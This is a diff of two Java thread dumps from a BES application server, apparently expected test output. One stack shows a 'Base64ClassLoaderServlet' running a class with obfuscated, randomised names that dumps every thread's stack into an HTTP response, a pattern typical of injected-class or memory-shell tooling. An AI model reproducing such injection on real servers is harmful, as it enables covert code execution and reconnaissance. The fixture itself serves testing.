"Spark_0" #86 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1a90bf04
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
|
||||||
|
|
||||||
|
"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@4d16eb0d
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.Object.wait(Object.java:502)
|
at java.lang.Object.wait(Object.java:502)
|
||||||
@@ -372,7 +373,26 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
|
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
|
||||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
|
at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
|
||||||
|
|
||||||
"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"RMI TCP Connection(1)-172.17.0.3" #96 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -386,76 +406,135 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #82 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
|
||||||
|
|
||||||
"Spark_3" #95 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"Spark-Acceptor" #91 [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
|
||||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
|
||||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
|
||||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
|
||||||
|
|
||||||
"Spark_4" #96 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"SelectorReaderThread-8080-1" #84 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"FlushManager" #59 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-8" #80 daemon [RUNNABLE]
|
"jmsra-WorkerThread-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.3:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@44a4354d
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_5" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #62 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_2" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"AcceptorThread-8080-1" #79 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #73 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.lang.Thread.dumpThreads(Native Method)
|
at java.lang.Thread.dumpThreads(Native Method)
|
||||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||||
at com.google.gso.IyIWG.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
at com.google.gso.kctIl.ErrorGmnwfHandler.toString(BasicInfoPrinter.java:26)
|
||||||
at java.lang.String.valueOf(String.java:2994)
|
at java.lang.String.valueOf(String.java:2994)
|
||||||
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194)
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194)
|
||||||
@@ -477,74 +556,41 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"LifecycleThread[com.bes.appserv]-1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23b28c2c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_3" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RetryTimer" #54 daemon [WAITING] on java.util.TaskQueue@3cc56fc1
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Spark_6" #98 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
at java.lang.Object.wait(Object.java:502)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
"AsyncTimeoutThread-1900" #83 daemon [TIMED_WAITING]
|
"SelectorReaderThread-1900-1" #75 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Common Lib Watcher" #15 daemon [TIMED_WAITING]
|
"AcceptorThread-1900-1" #76 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #89 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Spark_1" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"Stateful cache" #65 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a3bf06f
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI Scheduler(0)" #103 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e258731
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
